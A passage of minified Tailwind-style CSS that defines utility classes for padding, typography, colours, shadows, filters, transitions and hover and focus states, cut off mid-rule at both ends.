r(--spacing)*1)}.py-1\.5{padding-block:calc(var(--spacing)*1.5)}.py-2{padding-block:calc(var(--spacing)*2)}.py-2\.5{padding-block:calc(var(--spacing)*2.5)}.py-3{padding-block:calc(var(--spacing)*3)}.py-4{padding-block:calc(var(--spacing)*4)}.py-5{padding-block:calc(var(--spacing)*5)}.py-6{padding-block:calc(var(--spacing)*6)}.py-8{padding-block:calc(var(--spacing)*8)}.py-10{padding-block:calc(var(--spacing)*10)}.py-12{padding-block:calc(var(--spacing)*12)}.py-16{padding-block:calc(var(--spacing)*16)}.py-20{padding-block:calc(var(--spacing)*20)}.pt-0{padding-top:calc(var(--spacing)*0)}.pt-1{padding-top:calc(var(--spacing)*1)}.pt-2{padding-top:calc(var(--spacing)*2)}.pt-3{padding-top:calc(var(--spacing)*3)}.pt-4{padding-top:calc(var(--spacing)*4)}.pt-5{padding-top:calc(var(--spacing)*5)}.pt-6{padding-top:calc(var(--spacing)*6)}.pr-1{padding-right:calc(var(--spacing)*1)}.pr-2{padding-right:calc(var(--spacing)*2)}.pr-4{padding-right:calc(var(--spacing)*4)}.pb-1{padding-bottom:calc(var(--spacing)*1)}.pb-2{padding-bottom:calc(var(--spacing)*2)}.pb-3{padding-bottom:calc(var(--spacing)*3)}.pb-4{padding-bottom:calc(var(--spacing)*4)}.pl-2{padding-left:calc(var(--spacing)*2)}.pl-4{padding-left:calc(var(--spacing)*4)}.pl-8{padding-left:calc(var(--spacing)*8)}.pl-10{padding-left:calc(var(--spacing)*10)}.text-center{text-align:center}.text-left{text-align:left}.text-right{text-align:right}.align-middle{vertical-align:middle}.font-mono{font-family:var(--font-mono)}.text-2xl{font-size:var(--text-2xl);line-height:var(--tw-leading,var(--text-2xl--line-height))}.text-3xl{font-size:var(--text-3xl);line-height:var(--tw-leading,var(--text-3xl--line-height))}.text-4xl{font-size:var(--text-4xl);line-height:var(--tw-leading,var(--text-4xl--line-height))}.text-base{font-size:var(--text-base);line-height:var(--tw-leading,var(--text-base--line-height))}.text-lg{font-size:var(--text-lg);line-height:var(--tw-leading,var(--text-lg--line-height))}.text-sm{font-size:var(--text-sm);line-height:var(--tw-leading,var(--text-sm--line-height))}.text-xl{font-size:var(--text-xl);line-height:var(--tw-leading,var(--text-xl--line-height))}.text-xs{font-size:var(--text-xs);line-height:var(--tw-leading,var(--text-xs--line-height))}.text-\[10px\]{font-size:10px}.text-\[11px\]{font-size:11px}.leading-6{--tw-leading:calc(var(--spacing)*6);line-height:calc(var(--spacing)*6)}.leading-none{--tw-leading:1;line-height:1}.leading-relaxed{--tw-leading:var(--leading-relaxed);line-height:var(--leading-relaxed)}.leading-tight{--tw-leading:var(--leading-tight);line-height:var(--leading-tight)}.font-bold{--tw-font-weight:var(--font-weight-bold);font-weight:var(--font-weight-bold)}.font-medium{--tw-font-weight:var(--font-weight-medium);font-weight:var(--font-weight-medium)}.font-normal{--tw-font-weight:var(--font-weight-normal);font-weight:var(--font-weight-normal)}.font-semibold{--tw-font-weight:var(--font-weight-semibold);font-weight:var(--font-weight-semibold)}.tracking-tight{--tw-tracking:var(--tracking-tight);letter-spacing:var(--tracking-tight)}.tracking-wider{--tw-tracking:var(--tracking-wider);letter-spacing:var(--tracking-wider)}.text-wrap{text-wrap:wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.text-clip{text-overflow:clip}.text-ellipsis{text-overflow:ellipsis}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.text-\[\#00CED1\]{color:#00ced1}.text-\[\#07C160\]{color:#07c160}.text-\[\#07C160\]\/60{color:#07c16099}.text-\[\#07C160\]\/70{color:#07c160b3}.text-\[\#07C160\]\/80{color:#07c160cc}.text-\[\#26A17B\]{color:#26a17b}.text-\[\#38bdac\]{color:#38bdac}.text-\[\#38bdac\]\/30{color:#38bdac4d}.text-\[\#38bdac\]\/40{color:#38bdac66}.text-\[\#169BD7\]{color:#169bd7}.text-\[\#1677FF\]{color:#1677ff}.text-\[\#FFD700\]{color:gold}.text-amber-200{color:var(--color-amber-200)}.text-amber-200\/80{color:#fee685cc}@supports (color:color-mix(in lab,red,red)){.text-amber-200\/80{color:color-mix(in oklab,var(--color-amber-200)80%,transparent)}}.text-amber-300{color:var(--color-amber-300)}.text-amber-400{color:var(--color-amber-400)}.text-amber-400\/30{color:#fcbb004d}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/30{color:color-mix(in oklab,var(--color-amber-400)30%,transparent)}}.text-amber-400\/80{color:#fcbb00cc}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/80{color:color-mix(in oklab,var(--color-amber-400)80%,transparent)}}.text-amber-400\/90{color:#fcbb00e6}@supports (color:color-mix(in lab,red,red)){.text-amber-400\/90{color:color-mix(in oklab,var(--color-amber-400)90%,transparent)}}.text-black{color:var(--color-black)}.text-blue-300{color:var(--color-blue-300)}.text-blue-300\/60{color:#90c5ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-300\/60{color:color-mix(in oklab,var(--color-blue-300)60%,transparent)}}.text-blue-400{color:var(--color-blue-400)}.text-blue-400\/60{color:#54a2ff99}@supports (color:color-mix(in lab,red,red)){.text-blue-400\/60{color:color-mix(in oklab,var(--color-blue-400)60%,transparent)}}.text-cyan-400{color:var(--color-cyan-400)}.text-emerald-400{color:var(--color-emerald-400)}.text-gray-200{color:var(--color-gray-200)}.text-gray-300{color:var(--color-gray-300)}.text-gray-400{color:var(--color-gray-400)}.text-gray-500{color:var(--color-gray-500)}.text-gray-600{color:var(--color-gray-600)}.text-gray-700{color:var(--color-gray-700)}.text-green-300{color:var(--color-green-300)}.text-green-400{color:var(--color-green-400)}.text-green-400\/90{color:#05df72e6}@supports (color:color-mix(in lab,red,red)){.text-green-400\/90{color:color-mix(in oklab,var(--color-green-400)90%,transparent)}}.text-green-500{color:var(--color-green-500)}.text-orange-300{color:var(--color-orange-300)}.text-orange-300\/60{color:#ffb96d99}@supports (color:color-mix(in lab,red,red)){.text-orange-300\/60{color:color-mix(in oklab,var(--color-orange-300)60%,transparent)}}.text-orange-400{color:var(--color-orange-400)}.text-orange-400\/60{color:#ff8b1a99}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/60{color:color-mix(in oklab,var(--color-orange-400)60%,transparent)}}.text-orange-400\/70{color:#ff8b1ab3}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/70{color:color-mix(in oklab,var(--color-orange-400)70%,transparent)}}.text-orange-400\/80{color:#ff8b1acc}@supports (color:color-mix(in lab,red,red)){.text-orange-400\/80{color:color-mix(in oklab,var(--color-orange-400)80%,transparent)}}.text-purple-400{color:var(--color-purple-400)}.text-red-100{color:var(--color-red-100)}.text-red-300{color:var(--color-red-300)}.text-red-400{color:var(--color-red-400)}.text-rose-400{color:var(--color-rose-400)}.text-sky-300{color:var(--color-sky-300)}.text-white{color:var(--color-white)}.text-white\/40{color:#fff6}@supports (color:color-mix(in lab,red,red)){.text-white\/40{color:color-mix(in oklab,var(--color-white)40%,transparent)}}.text-white\/60{color:#fff9}@supports (color:color-mix(in lab,red,red)){.text-white\/60{color:color-mix(in oklab,var(--color-white)60%,transparent)}}.text-white\/70{color:#ffffffb3}@supports (color:color-mix(in lab,red,red)){.text-white\/70{color:color-mix(in oklab,var(--color-white)70%,transparent)}}.text-white\/80{color:#fffc}@supports (color:color-mix(in lab,red,red)){.text-white\/80{color:color-mix(in oklab,var(--color-white)80%,transparent)}}.text-yellow-400{color:var(--color-yellow-400)}.text-yellow-400\/60{color:#fac80099}@supports (color:color-mix(in lab,red,red)){.text-yellow-400\/60{color:color-mix(in oklab,var(--color-yellow-400)60%,transparent)}}.text-yellow-500\/70{color:#edb200b3}@supports (color:color-mix(in lab,red,red)){.text-yellow-500\/70{color:color-mix(in oklab,var(--color-yellow-500)70%,transparent)}}.capitalize{text-transform:capitalize}.lowercase{text-transform:lowercase}.normal-case{text-transform:none}.uppercase{text-transform:uppercase}.italic{font-style:italic}.italic\!{font-style:italic!important}.not-italic{font-style:normal}.diagonal-fractions{--tw-numeric-fraction:diagonal-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.lining-nums{--tw-numeric-figure:lining-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.oldstyle-nums{--tw-numeric-figure:oldstyle-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.ordinal{--tw-ordinal:ordinal;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.proportional-nums{--tw-numeric-spacing:proportional-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.slashed-zero{--tw-slashed-zero:slashed-zero;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.stacked-fractions{--tw-numeric-fraction:stacked-fractions;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.tabular-nums{--tw-numeric-spacing:tabular-nums;font-variant-numeric:var(--tw-ordinal,)var(--tw-slashed-zero,)var(--tw-numeric-figure,)var(--tw-numeric-spacing,)var(--tw-numeric-fraction,)}.normal-nums{font-variant-numeric:normal}.line-through{text-decoration-line:line-through}.no-underline{text-decoration-line:none}.overline{text-decoration-line:overline}.underline{text-decoration-line:underline}.underline\!{text-decoration-line:underline!important}.underline-offset-4{text-underline-offset:4px}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.subpixel-antialiased{-webkit-font-smoothing:auto;-moz-osx-font-smoothing:auto}.accent-\[\#38bdac\]{accent-color:#38bdac}.opacity-0{opacity:0}.opacity-50{opacity:.5}.opacity-55{opacity:.55}.opacity-60{opacity:.6}.opacity-70{opacity:.7}.shadow{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-lg{--tw-shadow:0 10px 15px -3px var(--tw-shadow-color,#0000001a),0 4px 6px -4px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-md{--tw-shadow:0 4px 6px -1px var(--tw-shadow-color,#0000001a),0 2px 4px -2px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-sm{--tw-shadow:0 1px 3px 0 var(--tw-shadow-color,#0000001a),0 1px 2px -1px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xl{--tw-shadow:0 20px 25px -5px var(--tw-shadow-color,#0000001a),0 8px 10px -6px var(--tw-shadow-color,#0000001a);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-xs{--tw-shadow:0 1px 2px 0 var(--tw-shadow-color,#0000000d);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-0{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(0px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-1{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(1px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.ring-2{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + var(--tw-ring-offset-width))var(--tw-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.inset-ring{--tw-inset-ring-shadow:inset 0 0 0 1px var(--tw-inset-ring-color,currentcolor);box-shadow:var(--tw-inset-shadow),var(--tw-inset-ring-shadow),var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow)}.shadow-\[\#38bdac\]\/20{--tw-shadow-color:#38bdac33}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/20{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.2) var(--tw-shadow-alpha),transparent)}}.shadow-\[\#38bdac\]\/30{--tw-shadow-color:#38bdac4d}@supports (color:color-mix(in lab,red,red)){.shadow-\[\#38bdac\]\/30{--tw-shadow-color:color-mix(in oklab,oklab(72.378% -.11483 -.0053193/.3) var(--tw-shadow-alpha),transparent)}}.ring-\[\#38bdac\]{--tw-ring-color:#38bdac}.ring-\[\#38bdac\]\/40{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.4)}.ring-\[\#38bdac\]\/50{--tw-ring-color:oklab(72.378% -.11483 -.0053193/.5)}.outline{outline-style:var(--tw-outline-style);outline-width:1px}.blur{--tw-blur:blur(8px);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.blur-3xl{--tw-blur:blur(var(--blur-3xl));filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.drop-shadow{--tw-drop-shadow-size:drop-shadow(0 1px 2px var(--tw-drop-shadow-color,#0000001a))drop-shadow(0 1px 1px var(--tw-drop-shadow-color,#0000000f));--tw-drop-shadow:drop-shadow(0 1px 2px #0000001a)drop-shadow(0 1px 1px #0000000f);filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)}.filter\!{filter:var(--tw-blur,)var(--tw-brightness,)var(--tw-contrast,)var(--tw-grayscale,)var(--tw-hue-rotate,)var(--tw-invert,)var(--tw-saturate,)var(--tw-sepia,)var(--tw-drop-shadow,)!important}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-blur-xl{--tw-backdrop-blur:blur(var(--blur-xl));-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-grayscale{--tw-backdrop-grayscale:grayscale(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-invert{--tw-backdrop-invert:invert(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-sepia{--tw-backdrop-sepia:sepia(100%);-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.backdrop-filter{-webkit-backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,);backdrop-filter:var(--tw-backdrop-blur,)var(--tw-backdrop-brightness,)var(--tw-backdrop-contrast,)var(--tw-backdrop-grayscale,)var(--tw-backdrop-hue-rotate,)var(--tw-backdrop-invert,)var(--tw-backdrop-opacity,)var(--tw-backdrop-saturate,)var(--tw-backdrop-sepia,)}.transition{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition\!{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to,opacity,box-shadow,transform,translate,scale,rotate,filter,-webkit-backdrop-filter,backdrop-filter,display,content-visibility,overlay,pointer-events!important;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function))!important;transition-duration:var(--tw-duration,var(--default-transition-duration))!important}.transition-all{transition-property:all;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-colors{transition-property:color,background-color,border-color,outline-color,text-decoration-color,fill,stroke,--tw-gradient-from,--tw-gradient-via,--tw-gradient-to;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-opacity{transition-property:opacity;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.transition-transform{transition-property:transform,translate,scale,rotate;transition-timing-function:var(--tw-ease,var(--default-transition-timing-function));transition-duration:var(--tw-duration,var(--default-transition-duration))}.duration-200{--tw-duration:.2s;transition-duration:.2s}.outline-none{--tw-outline-style:none;outline-style:none}.select-none{-webkit-user-select:none;user-select:none}:where(.divide-x-reverse>:not(:last-child)){--tw-divide-x-reverse:1}.ring-inset{--tw-ring-inset:inset}@media(hover:hover){.group-hover\:text-\[\#38bdac\]:is(:where(.group):hover *){color:#38bdac}.group-hover\:text-gray-400:is(:where(.group):hover *){color:var(--color-gray-400)}.group-hover\:opacity-100:is(:where(.group):hover *){opacity:1}}.peer-disabled\:cursor-not-allowed:is(:where(.peer):disabled~*){cursor:not-allowed}.peer-disabled\:opacity-70:is(:where(.peer):disabled~*){opacity:.7}.placeholder\:text-gray-500::placeholder{color:var(--color-gray-500)}.last\:border-b-0:last-child{border-bottom-style:var(--tw-border-style);border-bottom-width:0}@media(hover:hover){.hover\:border-\[\#38bdac\]\/30:hover{border-color:#38bdac4d}.hover\:border-\[\#38bdac\]\/50:hover{border-color:#38bdac80}.hover\:border-\[\#38bdac\]\/60:hover{border-color:#38bdac99}.hover\:border-\[\#38bdac\]\/70:hover{border-color:#38bdacb3}.hover\:border-blue-500\/60:hover{border-color:#3080ff99}@supports (color:color-mix(in lab,red,red)){.hover\:border-blue-500\/60:hover{border-color:color-mix(in oklab,var(--color-blue-500)60%,transparent)}}.hover\:border-gray-500:hover{border-color:var(--color-gray-500)}.hover\:border-gray-600:hover{border-color:var(--color-gray-600)}.hover\:border-orange-500\/50:hover{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.hover\:border-orange-500\/50:hover{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.hover\:border-yellow-500\/60:hover{border-color:#edb20099}@supports (color:color-mix(in lab,red,red)){.hover\:border-yellow-500\/60:hover{border-color:color-mix(in oklab,var(--color-yellow-500)60%,transparent)}}.hover\:bg-\[\#0a1628\]:hover{background-color:#0a1628}.hover\:bg-\[\#0a1628\]\/80:hover{background-color:#0a1628cc}.hover\:bg-\[\#1a3050\]:hover{background-color:#1a3050}.hover\:bg-\[\#2da396\]:hover{background-color:#2da396}.hover\:bg-\[\#06AD51\]:hover{background-color:#06ad51}.hover\:bg-\[\#07C160\]\/10:hover{background-color:#07c1601a}.hover\:bg-\[\#20B2AA\]:hover{background-color:#20b2aa}.hover\:bg-\[\#38bdac\]\/10:hover{background-color:#38bdac1a}.hover\:bg-\[\#38bdac\]\/20:hover{background-color:#38bdac33}.hover\:bg-\[\#162840\]:hover{background-color:#162840}.hover\:bg-\[\#162840\]\/30:hover{background-color:#1628404d}.hover\:bg-\[\#162840\]\/50:hover{background-color:#16284080}.hover\:bg-amber-500\/10:hover{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/10:hover{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.hover\:bg-amber-500\/20:hover{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-amber-500\/20:hover{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.hover\:bg-amber-600:hover{background-color:var(--color-amber-600)}.hover\:bg-blue-400\/10:hover{background-color:#54a2ff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-400\/10:hover{background-color:color-mix(in oklab,var(--color-blue-400)10%,transparent)}}.hover\:bg-blue-500\/20:hover{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-blue-500\/20:hover{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.hover\:bg-emerald-500\/20:hover{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-emerald-500\/20:hover{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.hover\:bg-gray-500:hover{background-color:var(--color-gray-500)}.hover\:bg-gray-500\/20:hover{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-500\/20:hover{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.hover\:bg-gray-700:hover{background-color:var(--color-gray-700)}.hover\:bg-gray-700\/50:hover{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.hover\:bg-gray-700\/50:hover{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.hover\:bg-gray-800:hover{background-color:var(--color-gray-800)}.hover\:bg-green-500\/20:hover{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.hover\:bg-green-500\/20:hover{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.hover\:bg-green-700:hover{background-color:var(--color-green-700)}.hover\:bg-orange-500\/10:hover{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/10:hover{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.hover\:bg-orange-500\/20:hover{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-orange-500\/20:hover{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.hover\:bg-orange-600:hover{background-color:var(--color-orange-600)}.hover\:bg-purple-500\/10:hover{background-color:#ac4bff1a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/10:hover{background-color:color-mix(in oklab,var(--color-purple-500)10%,transparent)}}.hover\:bg-purple-500\/20:hover{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/20:hover{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.hover\:bg-purple-500\/30:hover{background-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-purple-500\/30:hover{background-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.hover\:bg-red-500\/10:hover{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/10:hover{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.hover\:bg-red-500\/20:hover{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-500\/20:hover{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.hover\:bg-red-700:hover{background-color:var(--color-red-700)}.hover\:bg-red-800\/50:hover{background-color:#9f071280}@supports (color:color-mix(in lab,red,red)){.hover\:bg-red-800\/50:hover{background-color:color-mix(in oklab,var(--color-red-800)50%,transparent)}}.hover\:bg-white\/5:hover{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/5:hover{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.hover\:bg-white\/20:hover{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.hover\:bg-white\/20:hover{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.hover\:bg-yellow-500\/20:hover{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/20:hover{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.hover\:bg-yellow-500\/30:hover{background-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.hover\:bg-yellow-500\/30:hover{background-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.hover\:text-\[\#2da396\]:hover{color:#2da396}.hover\:text-\[\#5fe0cd\]:hover{color:#5fe0cd}.hover\:text-\[\#38bdac\]:hover{color:#38bdac}.hover\:text-amber-200:hover{color:var(--color-amber-200)}.hover\:text-amber-300:hover{color:var(--color-amber-300)}.hover\:text-amber-400:hover{color:var(--color-amber-400)}.hover\:text-blue-300:hover{color:var(--color-blue-300)}.hover\:text-blue-400:hover{color:var(--color-blue-400)}.hover\:text-gray-300:hover{color:var(--color-gray-300)}.hover\:text-orange-400:hover{color:var(--color-orange-400)}.hover\:text-red-300:hover{color:var(--color-red-300)}.hover\:text-red-400:hover{color:var(--color-red-400)}.hover\:text-sky-200:hover{color:var(--color-sky-200)}.hover\:text-white:hover{color:var(--color-white)}.hover\:underline:hover{text-decoration-line:underline}.hover\:opacity-100:hover{opacity:1}}.focus\:border-\[\#38bdac\]:focus{border-color:#38bdac}.focus\:border-orange-500\/50:focus{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.focus\:border-orange-500\/50:focus{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.focus\:bg-\[\#38bdac\]\/20:focus{background-color:#38bdac33}.focus\:ring-2:focus{--tw-ring-shadow:var(--tw-ring-inset,)0 0 0 calc(2px + 